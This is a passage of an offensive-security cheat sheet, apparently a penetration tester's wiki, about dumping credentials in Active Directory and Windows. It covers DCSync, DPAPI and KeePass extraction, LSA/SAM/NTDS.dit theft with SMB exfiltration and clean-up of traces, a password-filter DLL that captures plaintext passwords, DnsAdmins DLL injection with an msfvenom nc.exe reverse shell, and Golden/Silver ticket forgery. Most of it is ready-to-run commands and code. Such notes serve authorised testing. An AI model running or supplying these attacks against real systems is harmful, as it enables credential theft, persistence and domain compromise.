$ secretsdump.py DC1.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass
```

#### Targeted DCSync

When performing targeted DCSync (e. g., for persistence purposes) choose the most valuable accounts. One can use the following LDAP query to search for effective domain admins (`adminCount=1`) as well as DC computer accounts (`SERVER_TRUST_ACCOUNT` bit or `userAccountControl=8192` is set):

```
(&
	(|
		(&(objectCategory=person)(objectClass=user))
		(&(objectCategory=computer)(objectClass=computer))
	)
	(!(userAccountControl:1.2.840.113556.1.4.803:=2))
	(|
		(adminCount=1)
		(userAccountControl:1.2.840.113556.1.4.803:=8192)
	)
)

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u 'DC1$' --hash fc525c9683e8fe067095ba2ddc971889 -m custom --filter '(&(|(&(objectCategory=person)(objectClass=user))(&(objectCategory=computer)(objectClass=computer)))(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attrs msDS-PrincipalName | grep msDS | awk '{print $2}' | tee high-value-targets.txt
$ for t in `cat high-value-targets.txt`; do secretsdump.py -pwd-last-set MEGACORP/'DC1$'@192.168.2.22 -hashes :fc525c9683e8fe067095ba2ddc971889 -just-dc-user $t | grep aad3b | tee -a high-value-hashes.txt; done
Or
$ secretsdump.py -pwd-last-set MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.168.1.11 -ldapfilter '(&(|(&(objectCategory=person)(objectClass=user))(&(objectCategory=computer)(objectClass=computer)))(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=8192)))' | grep aad3b | tee high-value-hashes.txt
```

### certsync

* <https://github.com/zblurx/certsync>

```
$ certsync -d megacorp.local -u snovvcrash -p 'Passw0rd!' -dc-ip 192.168.1.11 -ns 192.168.1.11
```


# DPAPI

Data Protection API

* <https://habr.com/ru/post/434514/>
* <https://otterhacker.github.io/Pentest/Techniques/DPAPI.html>

{% file src="/files/yiMS5lT0zi5IONlo9zOL" %}

Master keys locations (hidden files, need `-Force`):

```
PS > ls -Force C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\ (%appdata%\Microsoft\Protect\)
PS > ls -Force C:\Users\snovvcrash\AppData\Local\Microsoft\Protect\ (%localappdata%\Microsoft\Protect\)
```

Credential files locations (hidden files, need `-Force`):

```
PS > ls -Force C:\Users\snovvcrash\AppData\Roaming\Microsoft\Credentials\ (%appdata%\Microsoft\Credentials\)
PS > ls -Force C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\ (%localappdata%\Microsoft\Credentials\)
```

Unhide files:

```
PS > cmd /c "attrib -h -s 00ff00ff-00ff-00ff-00ff-00ff00ff00ff"
PS > cmd /c "attrib -h -s 00ff00ff00ff00ff00ff00ff00ff00ff"
```

## Mimikatz

* <https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/>

Decrypt manually offline with known plaintext password:

```
mimikatz # dpapi::masterkey /in:00ff00ff-00ff-00ff-00ff-00ff00ff00ff /sid:S-1-5-21-4124311166-4116374192-336467615-500 /password:Passw0rd!
mimikatz # dpapi::cache
mimikatz # dpapi::cred /in:00ff00ff00ff00ff00ff00ff00ff00ff
```

## Impacket

Retrieve the domain DPAPI backup key (never changes) from a DC to decrypt master key and blobs:

```
$ dpapi.py backupkeys --export -k -no-pass -t DC01.megacorp.local
$ dpapi.py masterkey -file ./Users/Administrator/AppData/Roaming/Microsoft/Protect/<SID>/00ff00ff-00ff-00ff-00ff-00ff00ff00ff {-password 'Passw0rd!' -sid <SID> | -pvk 'G$BCKUPKEY_<GUID>.pvk}
$ dpapi.py credential -file ./Users/Administrator/AppData/Roaming/Microsoft/Credentials/00ff00ff00ff00ff00ff00ff00ff00ff -key 0x<HEX_MASTER_KEY>
```

## SharpDPAPI

* <https://github.com/GhostPack/SharpDPAPI#table-of-contents>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpDPAPI.ps1>

Triage user's *credentials*, *vaults*, *rdg* and *certificates*:

```
Cmd > .\SharpDPAPI.exe triage /password:Passw0rd!
```

Triage machine's credentials (*machinecredentials*), vaults (*machinevaults*) and certificates (*certificates /machine*):

```
Cmd > .\SharpDPAPI.exe machinetriage
```

Retrieve the domain DPAPI backup key (never changes) from a DC to decrypt master key and blobs for any user in the domain with it (needs DA privileges):

```
Cmd > .\SharpDPAPI.exe backupkey /nowrap [/server:DC01.megacorp.local] [/file:key.pvk]
Cmd > .\SharpDPAPI.exe credentials /pvk:key.pvk [/server:PC01.megacorp.local]
```

### SharpChrome

* <https://github.com/GhostPack/SharpDPAPI#sharpchrome-commands>

```
Cmd > .\SharpChrome.exe logins|cookies [/pvk:key.pvk]
```

## SharpChromium

* <https://github.com/djhohnstein/SharpChromium>

```
Cmd > dir "C:\Users\snovvcrash\AppData\Local\Google\Chrome\User Data\Default"
Cmd > .\SharpChromium.exe logins
Cmd > .\SharpChromium.exe cookies
```

## Tools

* <https://github.com/login-securite/DonPAPI>
* <https://github.com/zblurx/dploot>
* <https://github.com/leftp/DPAPISnoop>


# KeePass

* <https://blog.harmj0y.net/redteaming/a-case-study-in-attacking-keepass/>
* <https://blog.harmj0y.net/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/>
* <https://habr.com/ru/post/346820/>
* <https://gist.github.com/naksyn/6d5660dacd0730498a274b85d62a77e8>

Enumerate DB locations:

```
Cmd > type %APPDATA%\KeePass\KeePass.config.xml | findstr "<Path>"
```

Unlock with CLI:

```
$ for pw in `cat passwords.txt`; do echo "$pw" | keepassxc-cli ls db.kdbx [--key-file key.keyx] |& grep -v -e Enter -e Error -e If; done
```

## KeePassXC

* <https://github.com/keepassxreboot/keepassxc>

```
PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item "C:\Program Files\KeePassXC\KeePassXC.exe")).FileVersion
```

### Extract Passphrase from Memory

* <https://github.com/d3lb3/KeePass-the-Hash>

Using [strings2](https://github.com/glmcdona/strings2):

```
PS > .\strings2.exe -pid (Get-Process KeePassXC) -a -wide > KeePassXC_strings.txt
PS > gc .\KeePassXC_strings.txt | Select-String -Pattern "Passw0"
PS > (gc .\KeePassXC_strings.txt).length
PS > (gc .\KeePassXC_strings.txt).length / 1mb
```

Using `Get-ProcessStrings` from [PowerShellArsenal/MemoryTools](https://github.com/mattifestation/PowerShellArsenal/blob/master/MemoryTools/MemoryTools.ps1):

```
PS > Get-ProcessStrings -Id 1337 | Out-File KeePassXC_strings.txt
$ dos2unix KeePassXC_strings.txt
$ cat KeePassXC_strings.txt | awk '{print $3}' | grep -x '.\{5,30\}' > words
```

## DLL Hijacking

* <https://skr1x.github.io/keepass-dll-hijacking/>

## Extract Passphrase from Memory (< v2.53.1)

**CVE-2023-32784**

* <https://github.com/vdohney/keepass-password-dumper>
* <https://github.com/CMEPW/keepass-dump-masterkey>
* <https://www.forensicxlab.com/posts/keepass/>

## Abusing KeePass Triggers (< v2.54)

* <https://d3lb3.github.io/keepass_triggers_arent_dead/>
* <https://gist.github.com/d3lb3/fb6f5d82e47744f56117b350d94a6029>
* <https://19dx.ru/2023/06/triggery-keepass-mertvy-da-zdravstvuyut-triggery-keepass/>

## Tools

### KeeFarce

* <https://github.com/denandz/KeeFarce>

### KeeFarceReborn

* <https://github.com/d3lb3/KeeFarceReborn>

#### Abusing the KeePass Plugin Cache

* <https://blog.quarkslab.com/post-exploitation-abusing-the-keepass-plugin-cache.html>
* <https://github.com/d3lb3/KeeFarceReborn/tree/main/KeeFarceRebornPlugin>

Export DB by compiling and loading a custom plugin (requires admin's privileges to place the `.plgx` file):

```
Cmd > KeePass.exe --plgx-create C:\KeeFarceReborn\KeeFarceRebornPlugin
Cmd > copy C:\KeeFarceReborn\KeeFarceRebornPlugin.plgx "C:\Program Files\KeePass Password Safe 2\Plugins"
```

Export DB by hijacking a legit plugin DLL (requires an existent plugin in use):

```
Cmd > copy "C:\Program Files\KeePass Password Safe 2\KeePass.exe" .
Cmd > devenv /build Release KeeFarceRebornPlugin.sln
Cmd > copy C:\KeeFarceReborn\KeeFarceRebornPlugin\bin\Release\KeeFarceRebornPlugin.dll C:\Users\snovvcrash\AppData\Local\KeePass\PluginCache\3o7A46QKgc2z6Yz1JH88\LegitPlugin.dll
```

### KeePassHax

* <https://github.com/HoLLy-HaCKeR/KeePassHax>

### KeeThief

* <https://github.com/GhostPack/KeeThief>

### CrackMapExec

* <https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/modules/keepass_discover.py>
* <https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/modules/keepass_trigger.py>

### KeePwn

* <https://github.com/Orange-Cyberdefense/KeePwn>

### ThievingFox

* <https://blog.slowerzs.net/posts/thievingfox/>
* <https://github.com/Slowerzs/ThievingFox/tree/main/keepassfox>
* <https://github.com/Slowerzs/ThievingFox/tree/main/keepassxcfox>


# Linux

## GNOME Keyrings

{% embed url="<https://snovvcrash.github.io/2021/08/07/htb-rpg.html#3-ones-act-ones-profit>" %}

List keyrings:

```
$ python3 -c "import gnomekeyring as gk;print(gk.list_keyring_names_sync())"
```

Unlock keyring with password:

```python
import gnomekeyring as gk

def list_keyring_items(keyring_name):
	print(f'*********{keyring_name}**********')
	gk.unlock_sync(keyring_name, 'Passw0rd!')
	item_keys = gk.list_item_ids_sync(keyring_name)
	for key in item_keys:
		item_info = gk.item_get_info_sync(keyring_name, key)
		print(f'Number: {key}')
		print(f'Name: {item_info.get_display_name()}')
		print(f'Password: {item_info.get_secret()}')

list_keyring_items('mykeyring')
```

## SSH

```
$ sudo strace -f -p `service sshd status | grep PID | awk '{print $3}'` -e trace=write -o capture
$ grep '= 18$' capture
```

## Tools

### mimipenguin

* <https://github.com/huntergregal/mimipenguin>

```
$ sudo python3 mimipenguin.py
```


# LSA

Local Security Authority

* <https://www.passcape.com/index.php?section=docsys&cmd=details&id=23>
* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets>
* <https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/>

## SharpSecDump

* <https://github.com/G0ldenGunSec/SharpSecDump>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpSecDump.ps1>

Decrypt LSA secrets on target:

```
PS > Invoke-SharpSecDump -C "-target=127.0.0.1"
```

## LsaStorePrivateData (ksetup)

* <https://pentest.party/posts/2025/ksetup-machine-password/>

## MSCash2/MSCache2 (DCC2)

* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials>

Domain cached credentials are stored within **LSA secrets** in `HKLM:\SECURITY` registry hive:

```
Cmd > reg save hklm\system system.hive
Cmd > reg save hklm\security security.hive
```

### secretsdump.py

Export registry hives and extract cached creds locally with `secretsdump.py`:

```
$ secretsdump.py -system system.hive -security security.hive LOCAL
```

### mscache.py

* <https://github.com/QAX-A-Team/mscache/blob/master/mscache.py>

Export registry hives and extract cached creds locally with `mscache.py`:

```
$ python mscache.py --system system.hive --security security.hive
```

### Crack

```
$ hashcat -m 2100 -O -a 0 -w 3 --session=dcc2 -o dcc2.out dcc2.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```


# NetSync

Silver Ticket -> Netlogon (MS-NRPC)

* <https://tools.thehacker.recipes/mimikatz/modules/lsadump/netsync>
* <https://trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-1>
* <https://trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-2>
* <https://gist.github.com/ThePirateWhoSmellsOfSunflowers/4efeea0e405ee8a53c8aa9f4f515d9ad>

## OffensiveAdmin

* <https://github.com/4ndr3w6/Presentations/tree/main/Texas_Cyber_Summit_2023>
* [\[PDF\] You (Dis)liked DCSync? Wait for NetSync (Charlie Clark, Andrew Schwartz)](https://github.com/4ndr3w6/Presentations/blob/main/Texas_Cyber_Summit_2023/Slides/You_Disliked_DCSync_Wait_For_NetSync_Texas_Cyber_Summit_2023_Charlie_Andrew_Final.pdf)


# NPLogonNotify

* <https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy>
* <https://www.scip.ch/en/?labs.20220217>
* <https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy>


# NTDS

Windows NT Directory Services + DCSync

* <https://trustedsec.com/blog/exploring-ntds-dit-part-1-cracking-the-surface-with-dit-explorer>

## Shadow Disk

### Create via Diskshadow

Locate `diskshadow.exe`:

```
cmd /c where /R C:\ diskshadow.exe
```

Create a shadow disk:

```
cd \Windows\Temp
powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content add_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content add_vol.txt 'set verbose on'"
powershell -c "Add-Content add_vol.txt 'begin backup'"
powershell -c "Add-Content add_vol.txt 'add volume c: alias DCROOT'"
powershell -c "Add-Content add_vol.txt 'create'"
powershell -c "Add-Content add_vol.txt 'expose %DCROOT% w:'"
powershell -c "Add-Content add_vol.txt 'end backup'"
cmd /c diskshadow.exe /s add_vol.txt
```

{% code title="add\_vol.txt" %}

```
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup
```

{% endcode %}

### Exfiltrate over SMB

Create a network share with anonymous access and put there all we need:

```
cd \Windows\Temp
copy w:\Windows\NTDS\ntds.dit ntds.dit
cmd /c reg.exe save hklm\system system.hive
cmd /c reg.exe save hklm\sam sam.hive
cmd /c reg.exe save hklm\security security.hive
```

Connect to the share and grab the files:

```
$ smbclient.py MEGACORP/administrator:'Passw0rd!'@192.168.1.11
use C$
cd windows/temp
get ntds.dit
get system.hive
get sam.hive
get security.hive
```

### Clean Up

Remove the shadow volume:

```
cd \Windows\Temp
powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c diskshadow.exe /s delete_vol.txt
```

{% code title="delete\_vol.txt" %}

```
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
unexpose w:
delete shadows volume c:
reset
```

{% endcode %}

Remove the share and all the traces:

```
cd \Windows\Temp
rm ntds.dit
rm system.hive
rm sam.hive
rm security.hive
rm C:\Windows\Temp\meta.cab
rm add_vol.txt
rm delete_vol.txt
```

## Raw NTDS.dit Copy

* <https://github.com/3gstudent/ntfsDump>
* <https://github.com/RedCursorSecurityConsulting/NTFSCopy>

Obtain a copy of NTDS.dit:

```
PS > Invoke-NTFSCopy C:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit
```

Parse on-site in conjunction with [NtdsAudit](https://github.com/dionach/NtdsAudit/releases):

```
PS > esentutl.exe /p "C:\Windows\Temp\ntds.dit" /!10240 /8 /o
PS > reg.exe save HKLM\SYSTEM system.hive
PS > .\NtdsAudit.exe ntds.dit -s system.hive -p hashes.txt -u users.csv --dump-reversible cleartext.txt
```

Parse on-site in conjunction with [secretsdump.exe](https://github.com/Qazeer/OffensivePythonPipeline/blob/main/binaries/impacket/secretsdump_windows.exe):

```python
from binascii import hexlify
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations
hostname = 'DC01.megacorp.local'
username = 'snovvcrash'
password = '<PASSWORD>'
nthash = '' if password else '<NTHASH>'
domain = hostname.split('.', 1)[1]
smbConn = SMBConnection(remoteName=hostname, remoteHost=hostname)
smbConn.login(user=username, password=password, domain=domain, nthash=nthash)
remOps = RemoteOperations(smbConnection=smbConn, doKerberos=False)
remOps.enableRegistry()
bootKey = remOps.getBootKey()
print(hexlify(bootKey).decode())
remOps.finish()
# .\secretsdump.exe LOCAL -ntds C:\Windows\Temp\ntds.dit -bootkey <BOOTKEY>
```

## Parse NTDS.dit

Parse with [secretsdump.py](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py):

```
$ secretsdump.py [-pwd-last-set] [-user-status] [-history] -sam sam.hive -system system.hive -security security.hive -ntds ntds.dit LOCAL > ntds.txt
$ cat ntds.txt | grep -a aad3b | grep -i 'Status=Enabled' | grep -v 31d6c | grep -v -e '\$' -e '{' -e '}' -e HealthMailbox | awk -F: '{print $1":"$4}' | sort -u > ntds.in
$ hashcat -m 1000 -a 0 -w 3 -O --session=ntds -o ntds.out ntds.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```

Parse with [aesedb](https://github.com/skelsec/aesedb) (faster but less informative):

```
$ antdsparse <BOOTKEY> ntds.dit -o ntds.txt --progress
$ antdsparse system.hive ntds.dit -o ntds.txt --progress
```

Parse with ntdissector:

* <https://www.synacktiv.com/publications/introducing-ntdissector-a-swiss-army-knife-for-your-ntdsdit-files>
* <https://github.com/synacktiv/ntdissector>

### Reversible Encryption

* <https://adsecurity.org/?p=2053>
* <https://www.blackhillsinfosec.com/how-i-cracked-a-128-bit-password/>

Check if enabled globally:

* gpmc.msc > Default Domain Policy > *Computer Configuration* > *Policies* > *Windows Settings* > *Security Settings* > *Account Policies* > *Password Policy* > *Store passwords using reversible encryption* > *Enabled* ✔

Check if enabled for specific users:

```
PS > Get-ADUser -Filter {userAccountControl -band 128} -Properties userAccountControl | ft name,samAccountName,userAccountControl | tee users-revenc.txt
```

{% hint style="info" %}
When DCSyncing such users, a cleartext password will be obtained.
{% endhint %}

## Tools

* <https://github.com/dionach/NtdsAudit>
* <https://github.com/MichaelGrafnetter/DSInternals>


# Password Filter

* <https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/>
* <https://github.com/clymb3r/Misc-Windows-Hacking/tree/master/HookPasswordChange>
* <https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/>
* <https://github.com/3gstudent/PasswordFilter>

Abuse `PasswordChangeNotify` to load a custom DLL capturing plaintext credentials when a password change is performed (the passwords will appear in `C:\logFile?.txt` files):

```powershell
PS > $passwordFilterName = (Copy-Item "Win32Project3.dll" -Destination "C:\Windows\System32" -PassThru).basename
PS > $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
PS > $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
PS > $notificationPackagesValues += $passwordFilterName
PS > Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
PS > Restart-Computer -Confirm
```


# RDP

Remote Desktop Protocol

* <https://gist.github.com/S3cur3Th1sSh1t/8294ec59d1ef38cba661697edcfacb9b>

## RdpThief

* <https://github.com/0x09AL/RdpThief>
* <https://github.com/S3cur3Th1sSh1t/RDPThiefInject>
* <https://github.com/snovvcrash/SharpRdpThief>
* <https://github.com/passthehashbrowns/SharpRDPThief>
* <https://github.com/proxytype/RDP-THIEF>
* <https://github.com/0xEr3bus/RdpStrike>

{% hint style="info" %}
The DLL can be converted to shellcode with [ConvertToShellcode.py](https://github.com/monoxgas/sRDI/blob/master/Python/ConvertToShellcode.py) (sRDI approach) and then be [injected](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/av-edr-evasion/code-injection/process-injectors/README.md#classic-process-injection) into the target process. That would help to avoid dropping the DLL to disk:

```
beacon> rdpthief_enable
beacon> rdpthief_dump
beacon> rdpthief_disable
```

{% endhint %}

## Abusing CredSSP / TSPKG

* <https://clement.notin.org/blog/2019/07/03/credential-theft-without-admin-or-touching-lsass-with-kekeo-by-abusing-credssp-tspkg-rdp-sso/>


# SAM

Security Account Manager

## reg.exe

```
Cmd > reg save hklm\system system.hive
Cmd > reg save hklm\sam sam.hive
$ secretsdump.py -system system.hive -sam sam.hive LOCAL
```

## vssadmin

```
Cmd > wmic shadowcopy call create Volume='C:\'
Cmd > vssadmin list shadows
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system system.hive
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam sam.hive
```

## Mimikatz

```
PS > Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "log out.txt" "lsadump::sam" "exit"'
```


# SSH Clients

## PuTTY

### Sessions

```
Cmd > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
Cmd > reg query "HKEY_USERS\<SID>\Software\SimonTatham\PuTTY\Sessions" /s
PS > Get-ChildItem -Path "HKCU:\Software\SimonTatham\PuTTY\Sessions" -Recurse
PS > Get-ChildItem -Path "Registry::HKEY_USERS\<SID>\Software\SimonTatham\PuTTY\Sessions" -Recurse
```

## WinSCP

### Sessions

* <https://winscp.net/eng/docs/faq_password>
* <https://github.com/anoopengineer/winscppasswd>
* [https://snovvcra.sh/2021/08/07/htb-rpg.html](https://snovvcra.sh/2021/08/07/htb-rpg.html#5-wake-from-death-and-turn-to-life)

```
Cmd > reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
Cmd > reg query "HKEY_USERS\<SID>\Software\Martin Prikryl\WinSCP 2\Sessions" /s
Cmd > for /f "tokens=*" %a in ('reg query "HKEY_USERS" ^| findstr /r "S-1-5-.*"') do @reg query "%a\Software\Martin Prikryl\WinSCP 2\Sessions" /s
PS > Get-ChildItem -Path "HKCU:\Software\Martin Prikryl\WinSCP 2\Sessions" -Recurse
PS > Get-ChildItem -Path "Registry::HKEY_USERS\<SID>\Software\Martin Prikryl\WinSCP 2\Sessions" -Recurse
```


# SSPI

Security Support Provider Interface

## Fake TGT Delegation

* [https://github.com/gentilkiwi/kekeo/blob/d3ee2ae2fdeb5581fe2be1d53838f66729c3de16/kekeo/modules/kuhl\_m\_tgt.c](https://github.com/gentilkiwi/kekeo/blob/d3ee2ae2fdeb5581fe2be1d53838f66729c3de16/kekeo/modules/kuhl_m_tgt.c#L12)
* <https://github.com/GhostPack/Rubeus#tgtdeleg>
* [https://github.com/GhostPack/Rubeus/blob/0e57072d27c242fa503d2d3a8b5e3ddb3373cc06/Rubeus/lib/LSA.cs](https://github.com/GhostPack/Rubeus/blob/0e57072d27c242fa503d2d3a8b5e3ddb3373cc06/Rubeus/lib/LSA.cs#L1320)
* [https://github.com/ly4k/Certipy/blob/2780d5361121dd4ec79da3f64cfb1984c4f779c6/certipy/lib/sspi/kerberos.py](https://github.com/ly4k/Certipy/blob/2780d5361121dd4ec79da3f64cfb1984c4f779c6/certipy/lib/sspi/kerberos.py#L50)
* <https://xakep.ru/2023/06/14/tgt-delegation/>
* <https://github.com/MzHmO/articles/tree/main/TGT%20Deleg>
* <https://swarm.ptsecurity.com/python-sspi-teaching-impacket-to-respect-windows-sso/>
* <https://gist.github.com/snovvcrash/ff867dbd922ff2c36f480c0a61819f29>

## Internal Monologue

* <https://eladshamir.com/2018/03/19/Internal-Monologue.html>
* <https://github.com/eladshamir/Internal-Monologue>
* <https://xakep.ru/2023/12/08/sspi-hack/>
* <https://github.com/MzHmO/NtlmThief>

### RemoteMonologue

* <https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions>
* <https://github.com/3lp4tr0n/RemoteMonologue>

## GSSAPI Abuse

* <https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/>
* <https://github.com/CCob/gssapi-abuse>


# Windows Hello

## Tools

* <https://github.com/Banaanhangwagen/WINHELLO2hashcat>
* <https://github.com/truerustyy/wcreddump>
* <https://github.com/CCob/Shwmae>


# Discovery

Discover domain NetBIOS name:

```
PS > ([ADSI]"LDAP://megacorp.local").dc

PS > $DomainName = (Get-ADDomain).DNSRoot
PS > (Get-ADDomain -Server $DomainName).NetBIOSName
```

Discover DCs' FQDN names:

```
PS > nslookup -type=all _ldap._tcp.dc._msdcs.$env:userdnsdomain

PS > $ldapFilter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
PS > $searcher = [ADSISearcher]$ldapFilter
PS > $searcher.FindAll()
PS > $searcher.FindAll() | ForEach-Object { $_.GetDirectoryEntry() }
Or
PS > ([ADSISearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").FindAll() |ForEach-Object { $_.GetDirectoryEntry() }

PS > [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().DomainControllers.Name

Cmd > nltest /dsgetdc:megacorp.local

PS > $DomainName = (Get-ADDomain).DNSRoot
PS > $AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,Ipv4address,isglobalcatalog,site,forest,operatingsystem

PS > $AllDCs = (Get-ADForest).GlobalCatalogs

PV3 > Get-DomainController | Select Name,IPAddress
```

Discover global catalog:

```
PS > Get-ADDomainController -Discover -Service "GlobalCatalog"
```

Discover MS Exchnage servers' FQDN names:

* <https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSExchangeServers>

```
PS > Discover-PSMSExchangeServers | Select ServerName,Description | Tee-Object exch.txt
```

Discover MS SQL servers' FQDN names:

* <https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers>

```
PS > setspn -T megacorp.local -Q MSSQLSvc/*
PS > Discover-PSMSSQLServers | Select ServerName,Description | Tee-Object mssql.txt
```

## DC IPs

Ask `_ldap._tcp.dc._msdcs`:

```
$ nslookup -type=srv _ldap._tcp.dc._msdcs.megacorp.local
$ dig -t srv _ldap._tcp.dc._msdcs.megacorp.local
$ proxychains4 -q dig +tcp +noall +answer -t srv _ldap._tcp.dc._msdcs.megacorp.local @192.168.1.11
```

Or query one of the DCs directly for forest/domain FQDN to get corresponding DC IP addresses:

```
$ dig @192.168.1.11 megacorp.local
$ dig @192.168.1.11 child.megacorp.local
```

## Subnets

* <https://podalirius.net/en/articles/active-directory-sites-and-subnets-enumeration/>

```
$ cme ldap 192.168.11.1 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -M subnets
```


# DnsAdmins

* <https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83>
* <http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html>
* <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise>
* <https://adsecurity.org/?p=4064>

Exploit:

```
$ msfvenom -p windows/x64/exec cmd='c:\users\snovvcrash\documents\nc.exe 127.0.0.1 1337 -e powershell' -f dll > inject.dll
PS > dnscmd.exe <HOSTNAME> /Config /ServerLevelPluginDll c:\users\snovvcrash\desktop\i.dll
PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
PS > (sc.exe \\<HOSTNAME> stop dns) -and (sc.exe \\<HOSTNAME> start dns)
```

Clean up:

```
PS > reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
PS > (sc.exe \\<HOSTNAME> stop dns) -and (sc.exe \\<HOSTNAME> start dns)
```


# Dominance

## Kerberos Tickets Forgery

* <https://en.hackndo.com/kerberos-silver-golden-tickets/#silver-ticket>

### Silver Ticket

{% embed url="<https://youtu.be/_nJ-b1UFDVM>" %}

Via S4U2self:

{% tabs %}
{% tab title="Windows" %}

```
Cmd > Rubeus.exe s4u /domain:megacorp.local /dc:dc1.megacorp.local /user:SRV01$ /rc4:fc525c9683e8fe067095ba2ddc971889 /altservice:http/srv01.megacorp.local /impersonateuser:Administrator /self /ptt
```

{% endtab %}

{% tab title="Linux" %}

```
$ getST.py megacorp.local/'SRV01$' -hashes :fc525c9683e8fe067095ba2ddc971889 -dc-ip 192.168.1.11 -spn ldap/srv01.megacorp.local -impersonate 'Administrator'
```

{% endtab %}
{% endtabs %}

### Golden Ticket

* <https://en.hackndo.com/kerberos-silver-golden-tickets/#golden-ticket>
* <https://artkond.com/2016/12/18/pivoting-kerberos/>
* <https://0xdeaddood.rocks/2023/05/11/forging-tickets-in-2023/>

{% embed url="<https://youtu.be/o98_eRt777Y>" %}

{% tabs %}
{% tab title="Windows" %}

```
Cmd > .\mimikatz.exe "kerberos::golden /domain:megacorp.local /user:snovvcrash /sid:<SID> /krbtgt:<NTHASH> /ptt [/startoffset:-10 /endin:60 /renewmax:10080]" "exit"
Cmd > .\mimikatz.exe "lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local" "exit"
```

{% endtab %}

{% tab title="Linux" %}

```
$ ticketer.py -domain megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 {-nthash <RC4_32> | -aesKey <AES_64> } [-groups '512,513,516,518,519,520'] [-user-id 1337] [-duration 87600] snovvcrash
$ export KRB5CCNAME=`readlink -f snovvcrash.ccache`
$ psexec.py megacorp.local/snovvcrash@DC01.megacorp.local -k -no-pass
$ secretsdump.py megacorp.local/snovvcrash@DC01.megacorp.local -dc-ip 10.10.13.37 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass
```

{% endtab %}
{% endtabs %}

### Diamond Ticket

* <https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/>
* <https://thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond>
* <https://www.huntress.com/blog/recutting-the-kerberos-diamond-ticket>

Using [ticketer.py](https://github.com/fortra/impacket/blob/master/examples/ticketer.py):

```
